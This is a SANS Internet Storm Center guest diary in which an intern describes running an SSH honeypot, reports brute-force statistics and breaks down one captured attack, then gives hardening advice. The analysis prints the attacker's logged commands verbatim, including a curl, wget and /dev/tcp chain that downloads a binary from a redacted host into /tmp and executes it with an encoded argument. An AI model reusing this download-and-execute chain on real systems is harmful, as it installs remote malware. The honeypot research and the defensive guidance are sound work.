[This is a Guest Diary by Kelly Fiocchi-Tapani, an ISC intern as part of the SANS.edu BACS program]

For the last several months I have been participating in the SANS Internet Storm Center. The Storm Center is a worldwide network of honeypots that are set up and monitored by volunteers. 

For anyone who doesn’t know what a honeypot is, it is a server created specifically for the purpose of gathering information about unauthorized users that connect to it. A honeypot is usually vulnerable by design and often designed to be enticing to trap unsuspecting criminals into spending more time with it. I named my honeypot “Winnie.”

The information gathered from the Storm Center’s network of distributed sensors provides invaluable threat research data about the trending methodologies and suspicious IP addresses used by the nefarious threat actors that attack and exploit other computer systems over the wire. 

When I first set up my honeypot on Amazon Web Services, I decided to wait a few days before going in to look through the logs, because my expectation was that traffic would be scarce. There was no domain name pointing to my server, or links to the IP address being posted anywhere online for someone to find. While I knew that there were entities out there scanning the world wide web indiscriminately, I thought there was at least a little bit of truth to the concept of ‘security through obscurity.’ 

I was wrong. 

In the first six days of logging, 298 different IP addresses had attempted to brute force access on my fake SSH server, and 244 of those IPs were successful:

On the honeypot’s web server, 449 IP addresses had been scanning, trying to enumerate directories, and searching for vulnerabilities.

I was hooked. Learning how to navigate and filter the data I wanted was a long process, but the realization that real live threat actors were attacking my tiny little server was very inspiring. I spent the first couple of nights discovering new metrics that left my jaw hanging open in astonishment. 

Then I discovered that I could use the linux command tail -f with my primary SSH log, and it would show me data being written to the log in real-time. I spent a long time just staring at it, trapped in my own honeypot. 

I still spend around an hour a week watching that log file spin while I look up the connecting IP addresses on threat intel websites to see who is snooping around in my stuff. 

Aside from learning that automated bots are attacking my honeypot relentlessly (the SSH server gets hit by 89 IP addresses a day), I learned a lot about how these attacks are designed by breaking down the actual scripts and commands that are run once they have successfully connected. 

One of the attacks I dove into was from February 11th, 2024. An external IP connected to the honeypot at 16:01 UTC and tried two different username/password combinations via the SSH server:

A cowrie server is designed to be intentionally vulnerable and allows a certain percentage of brute force attempts to successfully authenticate and gain access to the server. The second password the attacker tried allowed them in, and they ran a wide variety of commands, most likely via automated script.

First, they ran the echo command and looked at the binary file for it, most likely to check whether the system responds to common commands as expected.

2024-02-11T16:01:47.958754Z | echo 1 && cat /bin/echo

The next part of the attack tried to download malware to a temp directory and execute it. The script began with the nohup command, which stands for ‘no hangup.’ Nohup sends the script into the background to ensure it will continue processing if the user is disconnected. The script then attempts file retrieval via curl, using conditional logic to determine if the file downloaded successfully before executing more retrieval attempts, first via wget and then by establishing a TCP connection and running an HTTP GET request. 

2024-02-11T16:01:54.265688Z | nohup $SHELL -c "curl http://REDACTED:60128/linux -o /tmp/gYHWARl1UX; if [ ! -f /tmp/gYHWARl1UX ]; then wget http://REDACTED:60128/linux -O /tmp/gYHWARl1UX; fi; if [ ! -f /tmp/gYHWARl1UX ]; then exec 6<>/dev/tcp/REDACTED/60128 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/gYHWARl1UX 

The last part of the script was to execute the file, followed by a long argument that could not be decoded. This execution attempted to run multiple times, with additional commands to write ‘password’ to a temp file and print an unknown set of data to a temp directory using ‘head’. The entire download-and-execute script ran one last time with minor differences in the encoded textual argument. For the sake of TLDR, here is a snippet of those final steps:

&& chmod +x /tmp/gYHWARl1UX && /tmp/gYHWARl1UX N5Ke8kIvYA5efwwQflsWaihA7ZWHVk6clO1AMGESV2EMDnZVFmAvQO+Gh0JYg5/vXi1iDl14BAh/XhJlPkTriIBCRJye7l4vZBBVeQ4Pfl8AYStE8p+DWE6BiO1ILWoWX34MBm9eEGMwSOyIgEJYgJzqQC9kEU93EAx+Xw5oL17ulIpMQIKX7Eg+ZhBBfQ4LYV4TYDBB7pOIQEaDl+pQKmcOXXwIEH1bFn4sReichEZHgp/8QSxlDlh7EAd8QRJiK0rqloNGRpKX7kMwZRdBfQwPYV4RaCRG7JeGRVaGkfJCLWYOXXoQDnVZEGEsSPyenERHgojtQCZ+GF51CA5+WxhwKkfylIZEWISU8kEvYBpZfw8Kdk8VZDBB6p+cTkCcl+pDJGYQXnsLHntYDmIqQ/KSilhHgZ7mRi5hE15vCgdhXRNlMELukZxHR4Cc6kAvYxBPdxAMflcOYyxe7ZCBTECCl+5BPmEXV2EPDHdBEmIuXu2eh0xAgpfvSD5mEEF9DgphXhZoMEHrn4hARoOV5FAmfhJedxAMf1kOaCpK6paDR0OSkuteLGQTQX4JEH1cGmYuQe6ekkJBnJToQzBlF0F9DA91WRBhL0b8l4BHWIGQ8kQrfhJffwQIf14SZz5B7pKcRESAiO5JMGEXV3UIDn5fEHAvQO+IikZYgJLyQiRmEF57Dx5+XRN+K0fylIBHWIOX5EooYBFbfB4GYV0RaDBB7Z+cR0aFnOpAL2MST3sJEH1bEn4oSfKXhUBMhJbtQilwFV1hCw1hXRRlMEbpnIRGR4KfJecxKPnd37sWQzULDHmbj8OJ9JdVU7Ol; fi; echo password > /tmp/.opass; chmod +x /tmp/gYHWARl1UX && /tmp/gYHWARl1UX N5Ke8kIvYA5efwwQflsWaihA7ZWHVk6clO1AMGESV2EMDnZVFmAvQO+Gh0JYg5/vXi1iDl14BAh/XhJlPkTriIBCRJye7l4vZBBVeQ4Pfl8AYStE8p+DWE6BiO1ILWoWX34MBm9eEGMwSOyIgEJYgJzqQC9kEU93EAx+Xw5oL17ulIpMQIKX7Eg+ZhBBfQ4LYV4TYDBB7pOIQEaDl+pQKmcOXXwIEH1bFn4sReichEZHgp/8QSxlDlh7EAd8QRJiK0rqloNGRpKX7kMwZRdBfQwPYV4RaCRG7JeGRVaGkfJCLWYOXXoQDnVZEGEsSPyenERHgojtQCZ+GF51CA5+WxhwKkfylIZEWISU8kEvYBpZfw8Kdk8VZDBB6p+cTkCcl+pDJGYQXnsLHntYDmIqQ/KSilhHgZ7mRi5hE15vCgdhXRNlMELukZxHR4Cc6kAvYxBPdxAMflcOYyxe7ZCBTECCl+5BPmEXV2EPDHdBEmIuXu2eh0xAgpfvSD5mEEF9DgphXhZoMEHrn4hARoOV5FAmfhJedxAMf1kOaCpK6paDR0OSkuteLGQTQX4JEH1cGmYuQe6ekkJBnJToQzBlF0F9DA91WRBhL0b8l4BHWIGQ8kQrfhJffwQIf14SZz5B7pKcRESAiO5JMGEXV3UIDn5fEHAvQO+IikZYgJLyQiRmEF57Dx5+XRN+K0fylIBHWIOX5EooYBFbfB4GYV0RaDBB7Z+cR0aFnOpAL2MST3sJEH1bEn4oSfKXhUBMhJbtQilwFV1hCw1hXRRlMEbpnIRGR4KfJecxKPnd37sWQzULDHmbj8OJ9JdVU7Ol" & 2024-02-11T16:01:54.271603Z | head -c 2384984 > /tmp/WpysXAao8z

Had this been a real server, the time from unauthorized access to the execution of malware would have been less than ten seconds.

Seeing a well-thought-out attack script coming from an automated scanner that brute forces any SSH port it sees on an IP range made me very aware of the real threat that exists out there for servers and devices left insecure on the open web. In this example, we don’t know if the attacker was trying to upload a miner, a bot, or command and control software, but I see those types of malware uploaded successfully every day. 

So, knowing that there are real threats out there, constantly on the prowl, what can be done to implement some baseline security posturing for a small server like this? Here are a few recommendations: 

1. Set password policies that are aligned with NIST.
2. Use Multi-Factor Authentication.
3. Set account lockout policies – 3 strikes and you’re out!
4. Restrict the IP addresses that can login to an SSH server remotely, or require an SSL certificate. 
5. Keep your software patched!
6. Set up monitoring and regular auditing that looks for:
   1. New software executing on a host computer
   2. New processes that don’t line up with a baseline ‘normal’ report
   3. Use of commands like curl or wget connecting to unusual IP addresses
   4. Unusual patterns in network traffic
   5. Traffic to atypical geographical regions
7. Train your staff on social engineering tactics and important security practices.
8. Be prepared! Have an incident response plan and offline backups. 

What if you’re an average computer user with little cybersecurity training? What can you do to protect your home network? 
 

1. Make sure your modem and/or router is updated regularly. Research your hardware online to make sure it’s still supported by the manufacturer for security updates.
2. Set your home router admin panel credentials to something unique, complex, and long. See the xkcd Password Generator for password education and a generator tool to help you find something secure. In fact, it’s great practice to use secure passphrases on all systems that access the internet in your home, even if doesn’t seem like anything that could be dangerous.
3. Make sure that any IOT devices (lights, switches, alarms, etc.) on your home network are updated with the latest security patches and upgrades. 
4. Keep your antivirus/antimalware and operating system software patched and up to date. 
5. Run regular updates on all software used on a computer. Outdated software may have vulnerabilities that make it easier to fall prey to a trap that downloads or executes malware on your home computer, which could potentially lead to a threat actor pivoting to other services on your network.

[1] https://pages.nist.gov/800-63-3/sp800-63b.html
[2] https://isc.sans.edu
[3] https://preshing.com/20110811/xkcd-password-generator/
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu